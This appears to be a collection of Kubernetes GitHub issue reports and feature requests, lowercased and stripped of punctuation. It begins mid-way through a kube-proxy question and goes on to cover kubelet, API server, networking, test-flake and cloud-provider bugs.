bool\r \toomscoreadj             int32\r \tresourcecontainer      string\r \tconfigsyncperiod       time.duration\r \tserviceeventhandler    config.servicehandler\r \tendpointseventhandler  config.endpointshandler\r \thealthzserver           healthcheck.healthzserver\r }\r but the calling of this struct in cmd is run   method:\r func  o  options  run   error {\r \tdefer close o.errch \r \tif len o.writeconfigto  > 0 {\r \t\treturn o.writeconfigfile  \r \t}\r \r \tproxyserver, err := newproxyserver o \r \tif err != nil {\r \t\treturn err\r \t}\r \to.proxyserver = proxyserver\r \treturn o.runloop  \r }\r \r // runloop will watch on the update change of the proxy server's configuration file.\r // return an error when updated\r func  o  options  runloop   error {\r \tif o.watcher != nil {\r \t\to.watcher.run  \r \t}\r \r \t// run the proxy in goroutine\r \tgo func   {\r \t\terr := o.proxyserver.run  \r \t\to.errch <- err\r \t}  \r \r \tfor {\r \t\tselect {\r \t\tcase err := <-o.errch:\r \t\t\tif err != nil {\r \t\t\t\treturn err\r \t\t\t}\r \t\t}\r \t}\r }\r i have not found any run method implement in struct proxyserver.\r so my question is what is the action when calling run method on struc proxyserver

we have \ owners\  files in each package and prs of that package get assigned to them. although they may not be the best person to debug the test, they can at least help triage and re-assign to other people.  currently, we have a separate  test_owners.csv  https://github.com/kubernetes/kubernetes/blob/master/test/test_owners.csv  file in which most of the unit test owners were randomly assigned. a lot of the unit test owners have no idea that they are responsible for the package, and don't pay attention to flakes anyway. we should just reuse these owners files, or find other approaches for signing up tests.

the  docker_manager_test  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockertools/docker_manager_test.go  needs some refactoring. a few of the problems: - rampant code duplication  the test is over 2500 lines long  - fragile tests depending on lots of internal functionality  cleanup up the test properly may require exposing a few more interfaces from the dockermanager, or just providing better fakes.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r help\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r shaping, bandwidth\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r master\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r working on network shaping. i found that thers're some discussion on bandwidth control on kubelet and found the implemention in  12513 . but if i'm not missing something, another pr  34906 remove the  reconcilecbr0  function and the kl.shaper now is nil since not initialized. so in https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet.go l1535 the test is always false and won't shape pod bandwidth.\r \r so the question is right now kubelet will not shaping the pod bandwidth?\r fix me if i'am wrong. thank you.\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r \r    \r vmware vcenter with no cloud provider set\r    \r \r -   os    e.g. from /etc/os-release :\r \r    \r centos linux release 7.3.1611  core \r    \r \r -   kernel    e.g.  uname -a  :\r \r    \r linux kube-master1.v.rmb938.me 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r -   install tools  :\r \r     custom rpms deployed via puppet\r \r   what happened  :\r \r any files that look like valid pod definitions in the kubelet  pod-manifest-path  will be consumed without checking extensions. \r \r   what you expected to happen  :\r \r kubelet to validate file extensions and only accept files with   .json,  .yaml and  .yml  extensions.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r create a valid pod definition in  pod-manifest-path  with an invalid extension.\r \r

starting with v1.6.0, the api server has an etcd preflight check to make sure that it is able to connect to the etcd cluster.\r \r currently, if there is an issue connecting to etcd, the error is not being displayed to the user. instead, a generic error message is being logged.\r \r in order to improve usability and diagnosability, these connectivity errors should be logged so that the user can know exactly what is causing the preflight to fail.\r \r i am happy to provide a pr once we agree on a path forward.

is this a bug report or feature request?  :\r \r  \r   what happened ?  \r \r it would be nice to share configmaps between namespaces, \r \r - this is a good workaround to a recent  conversation on the kubernetes mailing list around \ how many apps per cluster\ , as its another tool in the toolbox.\r - example 1: a way to implement a 'poor man's multitenancy'.\r - example 2: sharing paves the way for automated inheritance of configs, which again is valuable, for example when you want a user to have a bootstrapped version of an app so they can quickly use it, but you want to allow them to plug in new container implementations .\r - example 3: standardize the way external services or data-center specific attributes are set up in a cluster where shared, highly dynamic config is required for security or reasons.\r \r

what happened  :\r there is no deprecation message for  apps/v1beta2  core controllers and controller revision in  types.go .\r \r   what you expected to happen  :\r there should be a deprecation message for each of the controllers and controller revision as they will be ga in v1.9 release.

  /area platform/azure\r \r   what happened  :\r when azure returns subscriptionnotfound from the api, kubelet logs say  unable to construct v1.node object for kubelet: failed to get external id from cloud provider: instance not found , which is misleading.\r \r   what you expected to happen  :\r i'd expected the log output to say e.g.  unable to construct v1.node object for kubelet: failed to get external id from cloud provider: subscription not found \r \r   how to reproduce it  as minimally and precisely as possible   :\r run a kubelet on azure with properly configured cloud config, except for an invalid  subscriptionid  field.\r \r   anything else we need to know?  :\r in  azure_wrap.go  the function  checkresourceexistsfromerror    looks at a received error and determines it to be a  resourcenotfound  if the http status is  http.statusnotfound . however, the http status also equals  http.statusnotfound  in case of  subscriptionnotfound .\r thus, the  code  field of the error should be investigated as well by this function.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  v1.10.2 \r - cloud provider or hardware configuration:\r  microsoft azure \r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1688.5.3\r version_id=1688.5.3\r build_id=2018-04-03-0547\r pretty_name=\ container linux by coreos 1688.5.3  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r  linux master-02 4.14.32-coreos  1 smp tue apr 3 05:21:26 utc 2018 x86_64 intel r  xeon r  cpu e5-2673 v4 @ 2.30ghz genuineintel gnu/linux \r - install tools:\r  curl

https://github.com/kubernetes/kubernetes/blob/07387782ec8e1824907b1ae5d11a33f1afcb1548/cluster/gce/config-default.sh l119\r \r i tried to get full google cloud api access on my nodes by appending \ cloud-platform\  to the list that initiates node_scopes, but i don't see any effect. please help, thanks.\r \r @kubernetes/sig-auth-bugs

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  : since we use  ginkgo  to run our end to end tests despite nominally being a unit test framework, all tests are \ slow test\  in the log output due to being greater than the current threshold  default appears to be 5 seconds .\r \r   what you expected to happen  : we should set the threshold to something we consider to be reasonable for an end to end test. what that is might need some thought.\r \r  \r brought up by @msau42 \r

kubelet bootstrap can take a single parameter and be achieved in three phases, each optoutable. the single parameter is the cluster-id.  the kubelet configuration  including kubeconfig  can be divided into three buckets. these three buckets answer the questions: 1. where is the api and how do i trust it? this bucket consists of a list of endpoints of the api and a ca.crt to trust a secure to the endpoints. 2. how do i allow the api to trust me? this bucket consists of the authentication goodies. 3. how often do i run my sync loop? how many pulls of images should i allow to run in parallel? this is  everything else  https://github.com/kubernetes/kubernetes/blob/280897350316f3b40064699bdffbd64f37ff2dd1/pkg/apis/componentconfig/types.go l100-l336 .  each phase pulls the configuration for the corresponding bucket. the phases are: 1. bootstrap the client.   5754. the kubelet uses the cluster-id to discover the cluster api. 2. bootstrap auth.  20439 and  18112. the kubelet uses the cluster api to authenticate as a new kubelet. 3. bootstrap config.  1627. the kubelet pulls it's configuration from the cluster api in a configmap.  once these three phases are complete. the kubelet starts it's sync loop.  cc @vishh @dchen1107 @roberthbailey @fgrzadkowski @davidopp @smarterclayton @kubernetes/sig-cluster-lifecycle

as a user: 1. if i'm running a mysql db on kubernetes, i want to spin up another vm in the same cloud that isn't a part of any kubernetes cluster and talk to the mysql service vip.  2. if i'm running 2 mysql pools in 2 azs  on 2 kubernetes clusters on the same cloud/network, or connected via vpn  i want a single service vip for clients in either cluster.   the service vip can't be externally reachable, it should have some way to pick a loadbalancing algorithm that is not just simple round-robin, and should not necessitate nat  though that may be the only option on cloud providers currently ; eg: ipvs dr mode works if backends are on same l2 network as ipvs director, on prem clusters should be able to leverage this.

if an ingress points to a service with loadbalancer-source-ranges  https://github.com/kubernetes/kubernetes.github.io/blob/master/docs/user-guide/services-firewalls.md restrict-access-for-loadbalancer-service  we can apply the right firewall. for gce this means creating the vm level source-ip firewall, for nginx this means rejecting traffic based on  x-forwarded-for .   this suffers from the same shortcoming on gce as the corresponding service of type=loadbalancer  i.e 2 services both requesting port :80 one without loadbalancer-source and one with it set to 10.0.0.0/8, will allow the world through :80, because gce firewalls are only configurable at the vm level .

forked from https://github.com/kubernetes/kubernetes/issues/27194  @ichekrygin reported a weird cpu/usage_rate issue from heapster  i am running on v1.3.5 and this still seems to be an issue      curl http://localhost:8001/api/v1/proxy/namespaces/kube-system/services/heapster/api/v1/model/namespaces/production/pods/rain-377063289-tz0tq/metrics/cpu/usage_rate {   \ metrics\ :      {     \ timestamp\ : \ 2016-08-18t03:04:00z\ ,     \ value\ : 18446744073709551449    },    {     \ timestamp\ : \ 2016-08-18t03:05:00z\ ,     \ value\ : 705    },    {     \ timestamp\ : \ 2016-08-18t03:06:00z\ ,     \ value\ : 18446744073709551028    },    {     \ timestamp\ : \ 2016-08-18t03:07:00z\ ,     \ value\ : 696    },    {     \ timestamp\ : \ 2016-08-18t03:08:00z\ ,     \ value\ : 18446744073709550587    },    {     \ timestamp\ : \ 2016-08-18t03:09:00z\ ,     \ value\ : 0    },      node version:      kubelet --version kubernetes v1.3.5      @timstclair and i checked his node stats by collecting   curl -s http://localhost:10255/stats/summary | jq '.node.cpu.usagecorenanoseconds' . usagecorenanoseconds is the accumulative cpu usage, and it is only stats used by heapster and hpa. this stat is mapping to heapster's cpu usage, and it is used to calculate cpu/usage_rate together with some timestamps. we noticed that the usagecorenanoseconds are sane, but corresponding heapster's cpu/usage_rate is insane as the above. i believe heapster ran into some overflow issue cadvisor encountered before. filed this one as a record to make sure the problem is addressed at the proper layer.   cc/ @mwielgus @fgrzadkowski

while investigating  41419, i noticed that the test panicked after an  assertion for a non-nil pointer had failed  https://github.com/kubernetes/kubernetes/blob/master/federation/pkg/federation-controller/configmap/configmap_controller_test.go l155 .  looking at the source of testify's  assertion methods  https://github.com/kubernetes/kubernetes/blob/master/vendor/github.com/stretchr/testify/assert/assertions.go , i noticed that all of the methods  log an error  https://github.com/kubernetes/kubernetes/blob/master/vendor/github.com/stretchr/testify/assert/assertions.go l185  rather than failing the test immediately.  since most assertion mechanisms fail fast, it's understandable that test authors wouldn't expect this behavior, and there are many tests in the tree that assume incorrectly that assert will fail fast.\r \r cc: @kubernetes/sig-testing-misc @kubernetes/sig-federation-misc

is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ ,goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ ,goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r \r   what happened  :\r pods are stuck in \ unknown\  state. those pods can't be deleted. cluster got into this state when i have been submitting many pods at once.\r \r   what you expected to happen  :\r i can delete those pods.\r \r   anything else we need to know  :\r broken pods have following two lines of status  from  \ kubectl get pods\   that look like this :\r \r    \r   43m   43m     4       {kubelet gke-caffe-node-pool-2-c3b69e45-qxtj}                                                                           warning failedsync              errorsyncing pod, skipping: network is not ready:  kubenet does not have netconfig. this is most likely due to lack of podcidr \r   36m   36m     1       {controllermanager }                                                                                                    normal  nodecontrollereviction  marking for deletion pod downloader-21f7208a-f326-4a94-b2a5-80a84ef94aa3-wxzfn from node gke-caffe-node-pool-2-c3b69e45-qxtj\r \r    \r

is this a bug report or feature request?  :\r \r \r  \r \r \r   what happened  :\r \r if have a wildcard dns entry like this on my bind dns server:\r \r    in cname lb-001.mydomain.com \r \r this causes kube-apiserver to resolve localhost to lb-001.mydomain.com.\r \r \r   what you expected to happen  :\r \r nsswitch.conf contains this line:\r \r  hosts:      files dns myhostname \r \r i would expect that kube-apiserver and uses /etc/hosts first, where localhost is defined:\r \r  127.0.0.1   localhost localhost.localdomain\r  \r \r kube-apiserver exits with the following error:\r \r   controller.go:128  unable to perform initial ip allocation check: unable to refresh the service ip block: get https://localhost:6443/api/v1/services: dial tcp 192.168.120.20:6443: getsockopt: connection refused\r  \r the returned ip address is the one of the loadbalancer  lb-001 \r \r   anything else we need to know?  :\r \r cluster was configured via kubeadm\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.6\r - cloud provider or hardware configuration  : esx/vsphere\r - os  e.g. from /etc/os-release : centos7\r - kernel  e.g.  uname -a  : linux master-001 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r deploying this config:\r \r    \r kind: deployment\r apiversion: extensions/v1beta1\r metadata:\r   name: some-name\r   labels:\r     name: some-name\r     deployment: some-target\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         name: some-name\r         deployment: some-target\r     spec:\r       volumes:\r       - name: some-volume\r         hostpath:\r           path: /some-path\r       - name: data-dir\r         hostpath:\r           path: /data\r       containers:\r       - name: some-pod\r         image: image-name-prefix/image-name:timestamp\r         ports:\r         - containerport: 1234\r           protocol: tcp\r         imagepullpolicy: ifnotpresent\r         volumemounts:\r         - name: some-volume\r           mountpath: /path\r         - name: data-dir\r           mountpath: /data\r         env:\r         - name: postgres_username\r           valuefrom:\r             secretkeyref:\r               name: postgres-secrets\r               key: postgres.username\r         - name: postgres_password\r           valuefrom:\r             secretkeyref:\r               name: postgres-secrets\r               key: postgres.password\r         envfrom:\r           - configmapref:\r               name: all-settings\r       restartpolicy: always\r       dnspolicy: clusterfirst\r    \r \r fails with the following error:\r    \r error: error validating \ config.yaml\ : error validating data: found invalid field envfrom for v1.container; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r   what you expected to happen  :\r \r no error\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run:\r kubectl apply -f config.yaml --record\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:34:20z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :  kube-solo\r    \r 2017-07-23 21:07:17,774 info     server version: 17.05.0-ce\r 2017-07-23 21:07:17,774 info     storage driver: overlay2\r 2017-07-23 21:07:17,775 info      backing filesystem: extfs\r 2017-07-23 21:07:17,775 info      supports d_type: true\r 2017-07-23 21:07:17,775 info      native overlay diff: true\r 2017-07-23 21:07:17,775 info     logging driver: json-file\r 2017-07-23 21:07:17,775 info     cgroup driver: cgroupfs\r 2017-07-23 21:07:17,775 info     plugins:\r 2017-07-23 21:07:17,775 info      volume: local\r 2017-07-23 21:07:17,775 info      network: bridge host macvlan null overlay\r 2017-07-23 21:07:17,775 info     swarm: inactive\r 2017-07-23 21:07:17,775 info     runtimes: runc\r 2017-07-23 21:07:17,775 info     default runtime: runc\r 2017-07-23 21:07:17,776 info     init binary: docker-init\r 2017-07-23 21:07:17,776 info     security options:\r 2017-07-23 21:07:17,776 info      seccomp\r 2017-07-23 21:07:17,776 info       profile: default\r 2017-07-23 21:07:17,776 info      selinux\r 2017-07-23 21:07:17,776 info     kernel version: 4.12.0-coreos\r 2017-07-23 21:07:17,776 info     operating system: container linux by coreos 1465.0.0  ladybug \r 2017-07-23 21:07:17,776 info     ostype: linux\r 2017-07-23 21:07:17,777 info     architecture: x86_64\r 2017-07-23 21:07:17,777 info     cpus: 2\r 2017-07-23 21:07:17,777 info     total memory: 7.801gib\r 2017-07-23 21:07:17,777 info     run: 'docker images'\r 2017-07-23 21:07:17,777 info     name: k8solo-01\r 2017-07-23 21:07:17,780 info     registry: https://index.docker.io/v1/\r 2017-07-23 21:07:17,780 info     experimental: false\r    \r - os  e.g. from /etc/os-release :\r macosx\r - kernel  e.g.  uname -a  :\r    \r darwin wmd2b-dec 15.6.0 darwin kernel version 15.6.0: tue apr 11 16:00:51 pdt 2017; root:xnu-3248.60.11.5.3~1/release_x86_64 x86_64\r    \r - install tools:\r - others:\r

is this a bug report or feature request?:  \r \r  \r   what happened  :\r i was attempting to use  spec.terminationgraceperiodseconds  with the downward api, but received an error message:\r \r    invalid value: \ spec.terminationgraceperiodseconds\ : error converting fieldpath: field label not supported: spec.terminationgraceperiodseconds   \r \r   what you expected to happen  :\r i expect most/all of the attributes of the pod to be available via the downward api. \r \r   how to reproduce it  as minimally and precisely as possible   :\r use the following in the pod spec.\r \r    \r env:\r - name: termination_grace_period_seconds\r   valuefrom:\r     fieldref:\r       fieldpath: spec.terminationgraceperiodseconds\r    \r \r   anything else we need to know?  :\r i realise this is currently not supported, but it would be nice if it was. it would be even nicer if every field could be used in the downward api, because i'm sure there are a lot of other scenarios that aren't possible.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version 1.6.1\r server version 1.7.2\r \r - cloud provider or hardware configuration  :\r gcp\r \r - os  e.g. from /etc/os-release :\r macos\r \r - kernel  e.g.  uname -a  :\r darwin 16.7.0\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i've discovered what appears to be an issue with updating a pod/deployment specification's init containers. this issue does not exist when using the legacy approach for defining init containers  using the  pod.beta.kubernetes.io/init-containers  metadata annotation , but does appear when using the latest approach   initcontainers  section in the pod spec .\r \r when i update the image to a new version/tag, it remains as the existing version/tag  i.e. the update does not propagate to the cluster as expected .\r \r   what you expected to happen  :\r \r i expect, like when using the legacy annotation approach, that any changes i make to the init container spec should be reflected appropriately.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r full details for how to reproduce are available here: https://github.com/dreweaster/k8s-init-container-issue steps-for-recreating-the-issue-using-minikube\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.5\r - cloud provider or hardware configuration  : gke and minikube\r \r 

we would like  to see kubectl support oauth token authorization flow. essentially user can set necessary endpoint, clientid, clientsecret and scopes for oauth. using that information kubectl can initiate a oauth authorization flow using user's local browser. then use the issued token as token for kubernetes authorization. obviously this will not work in unattended modes. this can be very handy for oauth providers that issue short lived tokens.\r \r i have done a similar implementation using google apis here: https://github.com/appscode/guard/blob/master/cmds/token.go\r \r  

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r in nodeport test case, if the nodeip is not reachable for same reason firewall, network isolate... , then the  http://nodeip:nodeport  definitely can't be access, in this case, the e2e test will result in failure, that maybe a little arbitrary.\r for example, in kubeadm builded gce cluster, all node use the internal ip, which is not reachable from the outside,so the nodeport test will fail even if nodeport type service have been created and work well.\r \r   what you expected to happen  :\r \r the nodeport test don't relay on cluster node reachable or not from outside the cluster.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0-alpha.1.311+da9a4d5da9ecc6\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : ubuntu-1604-xenial-v20160420c\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others:\r \r

as of go 1.7 this package  golang.org/x/net/context   is available in the standard library under the name context. https://golang.org/pkg/context.   https://godoc.org/golang.org/x/net/context  so we should replace all golang.org/x/net/context with context\r \r todo:\r \r \r -     when  protoc-gen-go contextpkgpath  grpc contextpkgpath   golang.org/x/net/context  https://github.com/gogo/protobuf/blob/master/protoc-gen-gogo/grpc/grpc.go l55    change to  \ context\   remove the  golang.org/x/net/context  from vendor\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r nodeauthorizer prevents unmounting of csi volumes when  terminationgraceperiod  is 0\r \r   what you expected to happen  :\r \r volume is unmounted without issue.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a pod referencing a csi volume and set  terminationgraceperiod  to 0.\r 2. delete the pod. this triggers the kubelet unmount logic on the csi volume.\r 3. kubelet can not unmount the volume failing again and again with  node is not allowed access to resource persistentvolumes / pv-name .\r \r   anything else we need to know?  :\r \r the node authorizer deletes prevents kubelet from fetching pv objects unless there is a pod referencing the pv object. when a pod is deleted with  terminationgraceperiod  is 0, the pod api object is deleted before the volume is unmounted. so when the csi volume unmount code tries to fetch the pv object  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/csi/csi_attacher.go l555  it fails because the node no longer has permission to access that object.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

document the container runtime abstraction and expectation for future implementers of the interface.  /cc @yujuhong @yifan-gu @dchen1107

use case  i have a node with 1000 pods. i perform  get /api/v1/pods . master sends megabytes of data. unfortunately, i am interested only in several fields of the response.   solution  provide a way to filter json in response to - save bandwith - improve performance

after dozen of hours of work and consulting many people on the team, nobody has been able to find a way to write a non-flaky test for this feature. we need to start again and either use a different approach or make changes to the system itself to make this feature testable.  assigning to @madhusudancs, but we need a meeting of @madhusudancs @yujuhong @lavalamp @davidopp to figure out a strategy and timeline first. this can wait until after 1.2.  wasn't sure whether to mark it p1 or p2, marking in p1 for now but it's really p1.5.  ref/  17495

now that we have a dedicated gce project for kubelet node e2e test images,  we can delete the images in the ci gcp projects.  27907 is a pre-requisite.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2345/ failed:  k8s.io  configmap should be consumable via environment variable  conformance  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:382 expected error:     < errors.errorstring | 0xc4210b3a80>: {         s: \ expected pod \\\ pod-configmaps-23677494-00ea-11e7-a335-42010a800006\\\  success: pod \\\ pod-configmaps-23677494-00ea-11e7-a335-42010a800006\\\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-04 14:52:07 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-04 14:52:07 +0000 utc reason:containersnotready message:containers with unready status:  env-test }  message: reason: hostip:10.128.0.6 podip: starttime:2017-03-04 14:52:07 +0000 utc initcontainerstatuses:   containerstatuses: {name:env-test state:{waiting:&containerstatewaiting{reason:rpc error: code = 2 desc = failed to start container \\\ cce9c711eb53a03e499c2528e0cbbd65e6c9b84220c23d7c54104540ecc0903e\\\ : error response from daemon: cannot join network of a non running container: 8c0343bb849dfa1358d611ac30056f655d93c137ce72b0627170e08b7dfeca33,message:start container failed,} running:nil terminated:nil} lastterminationstate:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:128,signal:0,reason:containercannotrun,message:cannot join network of a non running container: 8c0343bb849dfa1358d611ac30056f655d93c137ce72b0627170e08b7dfeca33,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-03-04 14:52:08 +0000 utc,containerid:docker://cce9c711eb53a03e499c2528e0cbbd65e6c9b84220c23d7c54104540ecc0903e,}} ready:false restartcount:0 image:gcr.io/google_containers/busybox:1.24 imageid:docker-pullable://gcr.io/google_containers/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff containerid:docker://cce9c711eb53a03e499c2528e0cbbd65e6c9b84220c23d7c54104540ecc0903e}  qosclass:besteffort}\ ,     }     expected pod \ pod-configmaps-23677494-00ea-11e7-a335-42010a800006\  success: pod \ pod-configmaps-23677494-00ea-11e7-a335-42010a800006\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-04 14:52:07 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-04 14:52:07 +0000 utc reason:containersnotready message:containers with unready status:  env-test }  message: reason: hostip:10.128.0.6 podip: starttime:2017-03-04 14:52:07 +0000 utc initcontainerstatuses:   containerstatuses: {name:env-test state:{waiting:&containerstatewaiting{reason:rpc error: code = 2 desc = failed to start container \ cce9c711eb53a03e499c2528e0cbbd65e6c9b84220c23d7c54104540ecc0903e\ : error response from daemon: cannot join network of a non running container: 8c0343bb849dfa1358d611ac30056f655d93c137ce72b0627170e08b7dfeca33,message:start container failed,} running:nil terminated:nil} lastterminationstate:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:128,signal:0,reason:containercannotrun,message:cannot join network of a non running container: 8c0343bb849dfa1358d611ac30056f655d93c137ce72b0627170e08b7dfeca33,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-03-04 14:52:08 +0000 utc,containerid:docker://cce9c711eb53a03e499c2528e0cbbd65e6c9b84220c23d7c54104540ecc0903e,}} ready:false restartcount:0 image:gcr.io/google_containers/busybox:1.24 imageid:docker-pullable://gcr.io/google_containers/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff containerid:docker://cce9c711eb53a03e499c2528e0cbbd65e6c9b84220c23d7c54104540ecc0903e}  qosclass:besteffort} not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2198

@pwittrock \r \r this test is failing in 1.6 upgrade testing. \r \r the replicationcontroller \ redis-master\  is invalid: spec.template.spec.containers 0 .imagepullpolicy: required value\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.5-gci-1.6-upgrade-master/19 k8sio-kubectl-client-k8sio-kubectl-apply-should-apply-a-new-configuration-to-an-existing-rc\r \r this test is creating a 1.5 cluster, upgrading the master to 1.6, and then running 1.5 e2e tests to ensure compatibility.\r \r please take a look and determine if this is an issue for 1.6 release. thanks!

for a clean, empty cluster with 4 1-core nodes, 1 core  i.e. 1 machine cpu-wise  is used by influxdb. this is really high! it is particularly bad if a container is scheduled on that node.

failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=schedulerpredicates c2701aacb94858f60ca9\r \r testgrid: https://k8s-testgrid.appspot.com/release-1.6-upgrade-skew gce-1.5-1.6-upgrade-cluster&include-filter-by-regex=schedulerpredicates\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:461\r not scheduled pods:   api.pod nil \r expected\r     <int>: 0\r to equal\r     <int>: 1\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:930\r    \r \r /assign @gmarek @davidopp @timothysc \r @kubernetes/sig-scheduling-test-failures

